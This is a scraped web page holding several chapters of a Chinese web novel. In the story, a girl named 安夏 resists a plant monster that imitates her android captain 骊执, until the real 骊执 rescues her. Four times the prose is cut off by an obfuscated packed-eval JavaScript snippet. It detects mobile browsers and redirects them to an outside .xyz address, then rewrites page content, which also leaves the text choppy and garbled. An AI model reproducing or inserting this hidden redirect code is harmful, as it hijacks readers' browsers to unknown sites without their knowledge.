;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422060|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境》划分副本奖励时,最看重的评价维度是剧情推进度。” 她终于在安夏第八次试图偷走她正在清洗的水果时,做好了晚饭。 “那么从实现剧情推进度的角度,我倾向于,负面效果可能是让我们失去一部分信息。” “比如失去记忆?” 安夏抢答道,被骊执顺手塞了个果子在嘴里。 如愿尝到心心念念的红果子,安夏的眼睛幸福地眯起来:“终于活过来了……饿死我了。” “……下回不用这么着急来尼特星。” “我想来找你玩嘛。不敢想这个世界要是只有我一个人,那该多无聊。” “这果子的名字还挺特殊,”,骊执坐到了餐桌对面,她不需要进食人类的食物,现在也没心思吃东西,“等我们打完副本回来,我就告诉你。” 安夏好不容易把嘴里的食物咽下,就又拿起一个红果子,“星网上都说,你这种‘打完副本就告诉你’的说法,有点不吉利。” 说完,她才意识到自己刚才说的话并不好听,有些小心地去观察骊执的神色。 好在骊执并没有在意她的话,她正继续检索关于苏玛尔星满仓园的更多信息,闻言不甚在意地接话道:“嗯,怎么讲?” “比如……” 安夏想了半天都想不出接下来的台词,索性胡诌到:“比如,你要是忘记了答应我的事情,我岂不是一辈子都不知道,这是什么品种的果子了?” 好半天,她都没能等到对面的回复。 安夏有些奇怪地抬起头。 她发现房间里的灯光不知何时变得有些绿莹莹的,仿佛蒙上了一层苔藓。 窄小的房间里,灯光将骊执的影子深深映照在地上。 不知何时,坐在对面陪餐的仿生人开始一眨不眨地盯着她看,她眼里闪过绿莹莹的数据流,仿佛种子在眼球里长出的扭曲根茎。 等注意到安夏的视线,“骊执”歪了歪头,抹去嘴角的绿色树汁。 她的手臂上,慢慢爬上来一条微微蠕动着的深绿色藤蔓,留下绿色的黏液。 “提到失去记忆……” 深绿色的藤蔓裂开了根茎,露出里面细密的、沾着血迹的绿色牙齿。 “安夏,你忘记了什么呢?” 场景在一瞬间崩裂开来,她感觉眼前的“骊执”和她自己变成了一张薄薄的纸片,被破碎的空间撕裂成好几半。 “……” 一口气死死堵在了她的胸口,咽不下也吐不出。 “安夏,你怎么了?” 耳边,属于骊执的声音再次响起,明明是熟悉的语调熟悉的音色,但不同于那个连未清洗的水果都不会让她吃的队长,“她”的声音里带着细微摩擦声,仿佛植物的枝叶在一点点的生长。 “你看起来不太舒服,抬起头来,让我看看好吗?” 28. 满仓园生长季十 安夏死死瞪大了眼睛,拳头攥得咯吱咯吱响。 那不是骊执。 那不是骊执! 有东西要冒充她的队长、利用她们的关系让自己违背规则,要把她拉下水去。 那是她的队长,她最信任的朋友! 暴怒像是呼啸的气流,猛地冲开喉咙里郁结的气息。 安夏冷着脸地抬起手,脉冲枪闪烁着莹莹蓝光现身,嗡鸣着蓄能成功。 下一步,应该预估发声位置方位,具体在几点钟方向了。 “怎么了安夏,”,喋喋不休的“骊执”像是并没有发现她的异常,依然试图游说她抬头,“你认不出我了吗?” 教室里,“她”的声音飘忽不定起,鬼魅般萦绕在她的耳畔,如同长出了丝丝缕缕的细小藤条,从手臂爬向头颅,从耳道爬进大脑,在那里落下种子发芽。 安夏头痛欲裂,咬紧牙关,死死扣住扳机。 她当然认得出骊执。 她当然认得出她的队长。 骊执。 她微微沉下头。 如果是你遇到这种情况,你会怎么办呢? “你是想问在副本里,如果我们忘记了一些事,该怎么办。” 狭小的出租屋里两人吃过晚饭,话题不知道为什么,被引到安夏这个离谱的猜想里来。 “首先,我们得确定,自己到底忘记了什么。” 骊执顺势低头,咬下掌心里被安夏刚才塞进来的果子后,突然意识到自己现在是机器人。 剩下的半个果子还被她攥在手里,安夏笑得前仰后合,被“恼羞成怒”的骊执趁机偷袭,抢走了她怀里剩下的果子。 “比如明明该上班了还认为在国庆假期,这是忘记了一段时间的记忆;比如朝夕相处的人突然变得陌生,这是忘记了关于某个人的记忆;再比如,我刚刚咬了果子一口,这是忘记了自己机器人的身份。” 安夏笑得一头扎进被子里,声音被埋进蓬松的有机棉花里,肩膀不停地抽动着,活像个坏掉的、一直在跳起来的闹钟。 等了一会,骊执都没再开口。 她竖起耳朵,床那边却传来动静,还有细微的、果子包装袋的摩擦声。 “……没哭吧?果子还是你的,我也没生气。” 安夏一下子就心软了。 但她还想逗逗骊执,愣是一动不动,憋红了脸也不出声。 “真的,你知道我只是机器人,情感只能靠模拟,所以我现在只会假装生气。” 骊执眼看这个人还倔着脾气扎在被子团里,虽然她的神经网络告诉她,安夏有百分之九十九的概率在演戏,她还是因为剩下的百分之一叹了口气。 “安夏……可不可以不要真的难过,我怕我感知不到。” 安夏被这几句认真的解释萌得一骨碌爬起来,一把抱住她,疯狂揉搓。 “……” 骊执撇起脑袋,试图躲开。 “比较难办的一种情况,是忘记了某个技能,尤其是日常生活中必不可少的技能。” “比如忘记如何分辨一个食物可不可以吃,忘记东西南北应该怎么走。” 直到骊执的头发完全炸毛,安夏才心满意足地放过她。 “那这种情况该怎么办?” “在感觉到某种情况超乎你现在的理解状态,除了考虑是怪物出现,也可以考虑是失去的记忆在作祟。” “好了,现在你去睡觉,我去机体自检。” 安夏看向自己的掌心,那里仿佛还残留着一个红郁果子的光滑触感。 骊执。 你在不在。 她现在依然不能分清,这个留在她身边的怪物到底在哪个方位。 游戏系统说,只要我的“锚点”还在我身边,我的枪就一定百发百中,只要是我真心想要击中的目标,我一定能击败,一定能把安全留给你。 耳边属于“骊执”的声音咯咯笑了起来,“我一直都在。” 安夏将额头抵在手背上。 你不在。 骊执,我可能真的遇到最坏的情况了。 我被困在一个和你很像的怪物旁边,我会听你的话不抬头不被蛊惑,可是我分不清方向了。 属于“骊执”的声音渐渐隐去,眼前的怪物似乎终于意识到,仅仅只是几声模糊的呼唤,不能唤起眼前雕塑般顽固的人。 安夏的手渐渐垂下。 所有的信息都指向那个她最不愿意相信的猜测。 幸好你只是失去记忆。 她苦中作乐地敲了敲自己的枪,笑容却是苦的。 她早该想到的。 从副本最开始,她被骊执拉住往教室里奔跑时,看到自己跌跌撞撞的脚步,她就该猜到了。 骊执再怎么是机械建构的仿生人,现在的她也只是一个缩水的高中生。 而她很早很早就从山路里往外走,锤炼出一个精英战士的体格了。 安夏垂下了枪。 骊执现在的座位在哪里? 她不知道。 她没有失去岁月,也没有失去记忆中的谁。 她失去的,是她赖以生存的,帮她走出大山、击败敌人的方向感。 “安夏。”那是一声轻快的、恍若隔世的呼唤,兴奋地像山林中最轻快的雀。 “你快过来看,这树上的花真好看。” “……” “啪嗒。” 扳机被松开了,枪支落地的下一秒被自动回收到系统空间。 被囚困于记忆海的溺水者放开了挣扎的手臂,像失去鳔的鱼,停止呼吸沉入海底。 哪怕这虚假的熟悉感,只是怪物模拟出的痕迹,但当属于那个声音的一切开闸泄洪,她还是被瞬间吞没。 “我给你的名字是安夏。” “只有我们两个人的时候,你不叫王焕,你就叫安夏。” 女人板着脸宣布,眼神沉得像漆黑的大地。 在最开始的时候,安夏不想叫那个人妈妈。 在她走路都走不稳的时候,那个蒙着头巾的女人一有空,就会一手拎起半块硬得嚼不动的大饼,一手拎起来她,一圈一圈地绕着看不到尽头的山跑。 女人走得太快,安夏跟不上她的脚步是常有的事,石子、木条、色泽浑浊的碎玻璃,都在她的膝盖上留下过或深或浅的疤痕。 “接着走!哪有你这么懒的!” 女人看起来并不想心疼她,扯了块布料随便包扎了几下,就继续让她往前跑。 布料的线头大概掉进了伤口里,奔跑的动作牵连起她皮肉里火辣辣的酸楚。 “歇一歇,可以吗?” 小安夏趴在床上开始耍赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427130|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脏污的被褥里,有一股憋闷的水汽味。 外面刚刚下过大雨,天气很潮,这个世界走山路,更是能把人摔得浑身是泥。 “不行!” “能跑的时候本来就没几天,你管它是什么天气。” 泥浆溅满了她的裤腿,因为只今天是周日,平时她要背起跟她一样大的书包,爬上很高的坡去上学。 “你必须读书,起码读到中学。”女人就着安夏写作业的煤油灯补着衣服,口鼻都被煤油熏黑。 “可是班里的同学都很奇怪我会来上学,他们说我早晚是要嫁人的。” 她还记得那个男孩的表情,那是一种纯粹的、毫无道理的理所当然。 上学是他习以为常的生活。 但不是她的。 女人沉默了一会。 “等上了更高的学,走到外面,你会有好朋友。” 安夏现在没有朋友。 同龄的女孩,只有她一个人要去上学,要用唯一空闲的周末练习跑步。 所以知道这件事的时候,她很高兴,再次天还没亮就起床,去走很远的山路上学了。 “安夏,你快过来看,这树上的花真好看!” 又是一天周末。 女人一反常态地提议要带她去县城逛逛,路上,她高兴指着平常视而不见的花欢呼。 平常的她们都没去过这么远的地方,所以安夏也很激动。 她心里隐隐有期待,女人这次领她出去,不仅仅只是为了逛逛那些时新玩意。 “我们要走了,对吗?” 女人弯起眼角。 她的眼睛黑亮黑亮的,像最漂亮的黑曜石。 可女人还是没能去成。 “你要领着她跑?” 醉醺醺的男人在一群面色凶恶的村民中姗姗来迟,狠狠将酒瓶砸向女人。 “老子买你来,就是要你伺候一辈子的!” “安夏,跑。” 安夏哭嚎着扶起被砸倒在地的女人,女人的声音却越来越弱。 她从没见过那样轻飘飘的眼神,像是天上弯弯的月亮,让她再也触碰不到。 “安夏,妈妈教过你。” “不管怎么摔倒,不管有多大的雨。” “你都要跑,一直跑。” 女人闭上了眼睛。 现在,你有了一双强健的腿。 所以,你尽管去跑吧。 往最高的学府里跑,往最远的未来里跑,往能摆脱命运的一切大路小路去跑。 如果果夜里很黑,就去路旁的火堆看看。 灰烬里的火星是我留给你的灯,用它照着方向,跑着跑着天就亮了。 “那我要是在走在半路迷路了,该怎么办呢?” 女人温和地看向她的眼。 就她的旁边,燃起了一双璀璨的琥珀瞳。 “那就一直认准一个方向跑。” 骊执正在给自己做进入副本前最后的调试,听到问题后回答:“选定你认为的前方,撞墙了就换另一个方向。” “一直走下去,双腿总会把你送到目的地的。” 幻想中的怪物正在得意地嬉笑,自己终于挖掘到了眼前人最深层的记忆。 一只手伸了出来。 安夏握紧闪着莹莹蓝光的脉冲枪,对准了虚空。 29. 满仓园生长季十一 李泽川把校服袖子扯下掩饰手部的动作,宽大的袖口在视线里晃晃悠悠,露出里面做工粗糙的线头。 他深深吸了口气,像是要用这口气,把自己蹦蹦乱跳的鼓噪心跳按下去。 门外高跟鞋的声音停下,如同黑压的丧钟少了最后一声铮鸣,折腾得人不上不下。 李泽川心一横,梗着一颗头冲口袋里伸手。 怪物一直不进来是怪物的事,但他的异能刚好适用这种前路未知的情况,现在不能再坐以待毙了。 “预言家!” 第一个副本里,指导他找到异能的严白眼神发亮,他专注地盯着他起卦的样子,惊奇地低呼仿佛发现了什么宝贝。 “看来你是我们小队里第一个确定定位的人了,”,严白兴致勃勃地跟新人介绍起副本规则,“每次副本开启,被系统分配在这个副本里的几个人,就算是组成一个小队。” 李泽川点点头,垂眸看向刚才自己口袋掏出的铜钱,它们古朴的纹路正在灯光下折射幽暗的光。 “虽然人是随机分配的,但不管哪个副本,都会有几个固定的身份产生。像推进剧情的骑士,进攻敌人的枪手,此外还有疗愈,潜行者……” “你这个身份虽然少见,但我听大佬们说,一旦用好可是老厉害了!毕竟,预言家可是能预测剧情的人!” 铜钱被他乱七八糟的念头黏在掌心,李泽川重新甩了甩手,掷了好几次才抛出。 “我想问,这堂课上,我和队友会顺利通过吗?” 他的异能目前只升到了一级,启用时诚心默念问题起卦,用三枚铜钱摇出六个数字,眼前会先后浮现两幅图景,由此预测事物的吉凶。 “轰隆——” 视网膜前仿佛出现了一台老得风扇都转不动的电脑,让画面的声音比图像先出现。 “——!” 李泽川攥紧了拳头,铜钱在他灼热的掌心蒸得滚烫。 一个又一个像素缓慢浮现,被逐渐勾勒出来的昏黄的背景让李泽川的心骤然跌入谷底。 尘土铺面,山峦崩裂。 贫瘠开裂的土地上,一座巍峨的高山拔地而起,高山却发出哀鸣般的崩塌声,视野里,黄色的土层裹着沙砾一层层剥落。 本卦是剥卦。 正是易经六爻里相当凶险的卦像。 这个卦象的意思是,他心中所想之事,衰败与危机并存。 “啪嗒。” 不知何时,教室里满是泥点的窗玻璃外,露出了一株深绿色的、胆子很小的藤蔓。 它像是有灵智般警觉,小心翼翼地扒住高三四班的窗户缝。 那里藏匿了经年累积的灰尘与垃圾,不知道谁丢在缝隙里的瓜子皮,还把它的叶子刮伤一道。 藤蔓却恍若未闻,中央最亮最大的那片叶子如同眼睛,只一眨不眨地盯着窗户里面看。 意识到没人注意它之后,它灵巧地将身体里最细的部分打了个弯,问问固定在螺丝上,然后借力穿过缝隙。 它的目光先是落在眉头紧锁的李泽川身上,接着一点点地扫视整个教室,几片叶子颤了颤,像是在寻找什么人的气息。 “——” 突然,它的枝丫剧烈扭转,中间的大叶子“看”向教室中央那个身影。 安夏正把头贴在课桌上,嘴唇咬得失去血色,死死闭着眼。 她一动不动,如同失去生机的雕像。 “怎么了?安夏不想听妈妈的话吗?” 混乱时空的绝望国度里,安夏的耳边再次传来讯号,那是属于模糊记忆海里,最让她心酸的声音。 我当然听妈妈的话。 安夏在心底回复。 掌心中,蓄能成功的脉冲枪依然嗡鸣,震得安夏的手臂有些颤抖。 我答应过妈妈,不管我走了多远,不管她去了哪里,我都要记得她的话,要用被大山磨砺出的双腿,跑过一切最危险的境地。 安夏依然没有抬头。 她一点一点,站了起来。 像熬过三年黑暗后,于地底生发出的笋,拔节而生,长出苍翠欲滴的竹。 “报告。” “嗯?……啊,请讲请讲。” 终于发现安夏出声的怪物瞪大了并不存在的眼睛,脖颈上的那棵树摇摇摆摆,连带着它的声音都有些发颤,仿佛已经激动得语无伦次。 它静静等待着她抬头,等待着安夏违反规则的那一刹那—— “你是我的老师吗?” “……” 披着人皮的怪物没有等来预想中的规则违反者,它呆呆地看向她,似乎并不理解她为什么突然要问这样的问题。 “如果你是我的老师,那现在应该早就到上课时间了,你是不是该给我上课了呢?” 如果一定要安夏说,经过这些天的相处,她从骊执的身上学到了什么。 那绝对是从任何看似细微的角度思考,一点点抽丝剥茧,找到可能存在的漏洞。 安夏愿把它称之为“挑刺”精神。 她学着骊执的样子把目光从眼前的战斗中移开,世界仿佛被撕开了阴云的一脚,重新变得豁然明朗。 李泽川掌心的铜钱几乎要被他的体温熔进血肉里。 视网膜上剥卦的凶象尚未褪去,土崩山裂的末日图景沉甸甸压在他的神经上。他死死咬住牙,用尽最后一点气力,将意识沉入那混沌的卦象深处—— 一声极轻微的、仿佛冰面碎裂的脆响,在他脑海深处炸开。 昏黄崩裂的剥卦景象如同破碎的镜面般四散纷飞,碎片折射出的,却不再是绝望的尘土。一点微光从裂缝深处透出,迅速蔓延、重组……最终,凝聚成一颗种子破土而出的动态景象。 地雷复,一阳来复。 ……是复卦! 李泽川猛地抽了一口气,冰冷的空气灌入肺腑,心脏却因这绝处逢生的预示而剧烈鼓动起来。他瞬间明悟,生机不在别处,就在此刻,就在此地! 他必须做点什么。 几乎同时,安夏的问题如同精准投下的石子,在粘稠的空间里激起涟漪: “你是我的老师吗?” 那怪物显然没料到这样的发展,脖颈上扭曲的树木枝干僵住,树叶发出困惑的簌簌声。 安夏没有给它思考的时间,语气平稳却带着不容置疑的力量:“如果你是我的老师,肩负着教书育人的职责,那么现在早已过了上课时间,你为什么还不开始授课,反而一直在干扰学生自习?” 她略微停顿,让每一个字都敲打在逻辑的薄弱点上:“如果你不是我的老师,只是一个无权站在讲台上的‘存在’,那你又凭什么,用‘老师’的身份和口吻,来命令我‘抬头’?” 身份与行为的悖论,在此刻被彻底撕开。 “我……”怪物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432681|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图辩解,声音却卡在喉咙里,变成一阵咕噜声。它周身弥漫的精神压迫感,如同被针刺破,骤然紊乱! 就是现在! 李泽川不知道自己为何如此肯定,或许是复卦带来的强烈预感,或许是安夏创造的契机太过耀眼。他必须抓住这线生机! 而在那个与现实隔绝的、由怪物精神力构筑的空间里,安夏听到了。 不是怪物的蛊惑,不是母亲的回响。 那是一声穿透了空间壁垒、清晰得如同就在耳边的呼唤,带着她熟悉的、冷静而可靠的质感—— “安夏。” 是骊执的声音。 安夏的心脏猛地一缩,一股混合着巨大惊喜和本能警惕的热流冲上头顶。她几乎要立刻回应,但残存的理智像冰冷的锁链,瞬间勒紧了她的冲动。上一个冒充队长的怪物,正是利用了她毫无保留的信任。 她硬生生将几乎脱口而出的呼喊咽了回去,指甲深深掐进掌心,用疼痛维持着最后的清醒。 “你是……骊执吗?”她的声音在精神层面传递,带着不易察觉的颤抖,却又异常坚定,“你要怎么证明,你是我的骊执队长?” 那个声音停住了。 短暂的沉默,像是一滴冷水落入滚油,让安夏的心不断下沉。果然……又是陷阱吗? 然而,下一秒,回应来了。没有气急败坏,没有委屈辩解,而是带着一种近乎本能的、属于骊执式的机警和敏锐。 “为什么会认为我是假的?”那个声音反问,语调平稳,却像精密的手术刀,直接切向问题的核心,“有东西利用了你的记忆吗?它模拟了我,还是……模拟了对你而言重要的其他人?” 安夏的心跳漏了一拍。这反应……太像了。像骊执在分析问题时,那种绕过情绪、直指关键的风格。 但她不能放松。“它模拟了你,”安夏在脑海中回应,同时全力感知着周围空间的任何一丝波动,“用你的声音,你的样子,甚至……知道我们之间的一些事。”她没有具体说是什么事,这是一个试探。 “了解程度?”那个声音追问,语速稍微快了一点,像是处理器在加速运转,“仅限于公共信息,还是涉及只有我们两人知道的细节?它是否试图诱导你违反某种‘规则’?” 每一个问题都精准地戳在要点上。安夏紧紧抿着唇。这逻辑严密的追问方式,几乎让她就要相信了。几乎。 “它知道我们私下的一些对话,”安夏谨慎地选择着措辞,没有透露具体内容,“它的目的是让我‘抬头’。”她顿了顿,抛出了自己的试探,“队长,你还记得,在我们进入这个副本之前,在你那间小出租屋里,你答应过我什么吗?关于……一种果子的。” 这是只有她们两人知道的细节,关于那颗没来得及告诉她名字的“红郁果子”。如果对方能答上来…… 通讯的另一端,陷入了更长的沉默。 安夏屏住呼吸,脉冲枪的能量核心在她掌心发出稳定而轻微的嗡鸣,仿佛是她此刻心跳的伴奏。 就在她以为对方无法回答,心底寒意渐生时,声音再次响起,带着一丝极细微的、仿佛数据检索成功后的确定感,以及一丝……不易察觉的无奈? “我承诺,等打完这个副本,就告诉你那种红色果子的品种名称。”声音顿了顿,补充道,“当时你还说,这种‘打完副本就告诉你’的说法,听起来不太吉利。” 30. 满仓园生长季十二 “安夏。” 是熟悉的、清澈又温和的声音。 —— 是她离开地球,来到光怪陆离的赛博世界后,于暴风雪中找到的机械花。 其实,安夏想的很简单。 既然怪物一直都想诱导她违背规则,那是不是只要她像小时候那样咬着牙爬过一座座山,熬过这几近碾碎脑干的痛苦,它就没办法真正杀死自己。 而骊执早晚会发现她的状态不对劲,她早晚都会等来自己的队长。 安夏迟疑地松开自己的手臂,骨骼发出令人牙酸的摩擦声,有滚烫的温度正擦向眼角。 某种植物的深绿色溶液顺着脸颊流了下来,她迟钝地意识到那是自己额头的位置,正从皮肤里渗透出植物的汁液。 黏糊糊的。 她迟钝地用袖口擦了擦,隐约感觉到那汁液不仅仅糊在了额头上,还糊在了她的大脑皮层上,像某种长在人血肉里的种子发了芽,钻不透脑壳,只得在昏暗的大脑内部长出一片湿漉漉的根茎。 “安夏,现在安全吗?不能说话就在心底回复我,我可以听到。” “我——” 安夏迟疑地张了张嘴,喉间滚落一个短促的气音。 她依然呆滞地低着头,看向自己的双腿。总觉得宽大校服下站着的不再是她的身体,而是脑袋里那个诡异植物吸食她的血液后发出的气根。 安夏再次抬起胳膊。 骊执来了。 她的队长来接她了。 她想把额头上的脏东西擦干净,想干干净净地回去见她。 现在这幅样子要是被她看到…… 指不定—— 脑袋里像被塞进去卡顿的齿轮,她想了半天才接上话。 指不定,该怎么被她笑话呢。 喜悦一点点漫上锈蚀的心脏,安夏想要回答骊执,潜意识里的警惕心却让她的舌头却打了个弯,硬生生止住了话头。 先等等。 她按下鼓噪的心跳:“我需要,先验证你的身份。” 她一字一顿道:““我遇到了伪装成你样子的人,所以我要验证你是不是真的队长。” “嗯,好。我知道了。” 明明是冷冰冰的外壳,明明是金属做的骨骼。 “辛苦了。” 属于仿生人导演的每一句话却都有力量,每个字都有温度。 她没有等来被质疑的恼怒,没有等来“怎么连这点小事都做不好”的责骂。 骊执似乎是在思考让自己相信她的办法。 “是有怪物模仿了我的外表吗?” “骊执,它用你的声音给我说话,还非要我抬起头。” “它还……它还让我的脑袋变得很沉很痛。” 安夏慢慢蹲下身子,趴在凳子上嘟嘟囔囔,活像一个被欺负了等着家长来撑腰的小孩。 孤独驻守在边境的人熬过了寒冬,等来了她的机械向阳花。 地球直播间里,传来和安夏同样激动的欢呼: 【 “安夏:队长,就是它欺负我!” “呜呜呜可怜宝宝,从来没这么狼狈过……呜呜呜终于等到队长了” “骊执导演终于来了!打死那个死树头人!让它欺负我们安夏!” “队长一来我就安心了……” 】 “它要我违背规则,要我不听你的话。” 骊执安静地听着她喋喋不休,适时打断道:“好,我来教训它。它是模仿了我们曾经的相处方式?” “对!就是这样!” 被骊执一提醒,脑子里的思维模块像是重新启动,拧上了一圈发条:“就像是窃取了我曾经的记忆。骊执,如果你是我,该怎么验证你是真实的?” 话一出口,安夏才发现自己的问题是多么无厘头,居然试图向需要辨别真伪的存在提问,自己该如何认出她。 对面的仿生人却只是停顿了一下,温和而稳定的机械音再度回应了她的希冀:“既然它复制了你的曾经,那我们就再创造出一些新的记忆,用来辅助你做出判断。” “安夏,我的名字是骊执。” “我喜欢看科幻小说,喜欢出去跑步,喜欢一切勇敢的、努力的、上进的,面对一个用最恶毒的手段攻击你的怪物,还咬着牙不放弃的人类。” 安夏听到了一个熟悉的句子,一个在副本最初,她向失忆的导演伸出手时,问出的句子。 “请问,你可以和我做朋友吗?” “扑通。” 心跳声再度响起。 但心脏这次没有沉底,它被一只温暖的、会自己调节温度的机械手捧起,发出浮出水面的声响。 机械是生硬的,算法是冰冷的。 但她用最宝贵的运算资源,模拟出的最低效的情感表达,是真的。 “安夏,它就在你的右前方,两点钟方向。” 骊执冷冷地看向视觉传感器接收到的,嗫嚅着发出无意义音节,树叶吓得哗啦作响的树头人。 “开枪。” 骊执睁开眼睛,瞳孔深处的金色数据流再次沉寂下来。 她用手指揉了揉眉心,掩饰着观察门口的动作。 刚刚意识到安夏保持一个姿势太久后,她意识到了不对劲,第一反应就是安夏和之前的宋如雨一样,某种存在污染了她,让她拥有了机械属性,由此被拉入纸条空间。 她立刻动用一号异能交互协议,试图定位到她的坐标进行骇入,但不管是她调用数据流,还是骊镜伪造通信协议,她都没办法直接链接到安夏所处的空间,找到了房屋却拿不到钥匙。 就在在她决定直接离开座位,确定安夏状态为第一要务的下一秒,骊镜终于探查到了漏洞。 “出现原因不明的空间裂缝……怀疑是里面的人触发了空间的逻辑矛盾。” “但裂缝只能承受声波层面的数据流,意识体直接进入还是不行。” 骊镜斟酌地回答:“倒不像是这个空间在拒绝我们……更像是检测到你身上有某种标识符,直接跳过了吸收你进入空间的步骤。” 骊执没有多余的选项,她闭上眼将自己的声音数据导入裂缝,开始跟陷入幻境的安夏对话。 在回答问题的间歇,属于她的数据流开始一点点篡改、瓦解这个存在的空间。 在安夏终于确定她身份的刹那,第二条逻辑谬误:“空间里存在怪物伪装的骊执和骊执本人两个相同身份的存在”,加大了矛盾的烈度,让守在外面的骊镜趁机嵌入木马窃取权限,终于将安夏拉了出来。 现在骊执也只来得及确定安夏已经睁开眼在恢复状态,因为门外站着的女老师,已经推门走了进来。 “创造者,人数变了。” 骊镜压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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离讲台最近的前排同学甚至面不改色地给自己的课本垫上了卫生纸,下一秒,树头人猛地咳嗽起来,脖颈相接处张开了嘴,呕出一滩绿色的黏液,正巧有几滴溅到白色的纸巾上,留下烧灼的焦痕。 教室里弥漫着一股混合着泥土腥气和植物腐烂的甜腻味道。 宋如雨在女老师目光扫过的瞬间猛地一颤,指甲深深掐进掌心。 她的身体开始不自觉颤抖,连带着桌面上那盆重新出现的绿植也跟着瑟瑟发抖,叶片被震得蜷缩起来。 她不由自主地看向骊执的方向,眼中是无法掩饰的恐惧,仿佛在无声地求救。 骊执没有回头,但她放在桌下的手,几不可查地轻轻敲击了两下桌面。节奏稳定而清晰。 同时,一道平静又熟悉的声音,精准地接入宋如雨和安夏的大脑,带着安抚的意味,如同无声的支撑:“和刚刚碰到的是同一种。但现在她们受伤了。” 安夏深吸一口气,强迫自己将目光从树头人脖颈那可怖的伤痕上移开,重新聚焦在眼前的课本上,只是脊背挺得更加笔直。 女老师将这一切尽收眼底,她脸上的笑容扭曲了一瞬,声音却愈发甜美,像过度发酵的酒液:“看来同学们都有些……紧张?别担心,老师今天带来了一位‘优秀’的标兵学生,他可是上次展览的头号明星!他将带着大家深入学习一下,如何在课堂上做一个积极上进的同学。” 她拍了拍身旁树头人的“肩膀”,那棵树的枝叶泛起一阵不自然的抖动。 “现在,让我们开始检查……各位的上课状态。”她的目光如同藤蔓,缓缓缠绕过每一个学生,最终,落在了骊执和她身旁那盆漆黑的金属花上。 31. 满仓园生长季十三 “沙沙。” 骊执把书翻了一页。 借着这个细微动作的掩饰,她悄无声息地抬了抬手,将从第一个空间里得到的纸片收到袖口深处。 教室里一片静默,她也同样没有出声,仿佛并没有注意到牢牢焊在她身上,几乎要剜掉她一块肉的、来自高跟鞋老师的死亡凝视。 骊执低下头,揉了揉手腕。 在第一个空间里留下的、蜿蜒在能量接口的那道绿色痕迹,正在频闪的灯管下微微反着光,颜色愈发深重。 她刚刚想明白了一个问题。 安夏没有收到纸条,没有纸条这一特殊的、可能作为空间传播媒介的道具,她到底为什么会和宋如雨一样,不仅被副本判定为拥有了机械人的身份,还被拉到了另一个空间呢? 甚至说,她面对的BOSS能窃取记忆,能模仿成玩家记忆里所信任的人的样子,具备极强的攻击性,威胁等级远比宋如雨所面对的大。 “……” 骊执思来想去,并没有发现安夏在“违反规则”这一层面,相比其他人有更多的特殊之处。 ——那一定有什么特质,是让仅仅身处教室,就拥有了身体被异化的可能。 就像是被真菌植物传播了孢子,无声无息间被感染。 等等,植物。 骊执抬起头,目光探查过整个教室。 ——是她在这个教室待了太久,有些习以为常了。 这间教室比正常的教室多了一样东西。 是那棵树。 色泽浓郁的绿色叶片无风自动,状似无害地在空气中摇摇摆摆。 就像蘑菇向周围的环境逸散自己的孢子,教室里每一个人的树,也有可能在教室里逸散出一种无法被检测出来的数据流。 无色无味,有毒有害。 “那种感觉就像是……某种生物的种子在人不知道的时候,被人吞进了大脑,悄悄在里面生根发芽。” 安夏扶着头回复道,空间消散后,她的状态略微回升,但交流时的喘息声还是断断续续的。 “等人反应过来的时候,它已经吸干了人的脑子,长出叶子顶开了脑壳。” 骊执仔细接收着来自安夏的心声,闻言眼神一凛。 这个把脑子吃掉,再从上面生根发芽的描述…… 怎么这么像树头人的发展状态? 如果安夏最后没有成功逃出,那她的下场,有没有可能就是变成那种怪物? “啊,我看到了。” 女老师像是终于忍受不了眼前坐得安稳、一点也没有,身为被老师抓住的“坏学生”愧疚感的骊执,冲着她神游的脸咬牙切齿地喊道。 “这位同学的桌子上,有一个‘特别关注’”。 她手指是方向在骊执桌脚上,被班主任留在花盆上的纸条。 地球直播间已经被接二连三的变故砸得头大不已,此刻眼睁睁看着骊执被抓住把柄,弹幕上整齐划过一串串忧心忡忡的省略符号。 【 “……所以,现在上课的这个老师,和早读课的班主任是一伙的?” “唉,果然,导演还是因为‘特别关注’被找茬了……” “那个树头人还是好恶心……这回得是第三次遇到它们了,在现实世界里,也不知道怪物的攻击方式会不会加强……” 】 老师俯下身,某种属于枯竭的植物汁液的、腐败又奢靡的气息传来。 她敲了敲桌子,做出虚心求教的样子:“不知道这位同学,是不是因为和我们的标兵同学一样优秀,才得到了这个评价?” 高跟鞋老师抿出一个报复般的微笑。 她当然知道这东西是怎么来的。 按照惯例,在她这节课之前,班主任会按时来到巡视早读,纸条一定是他留下的。 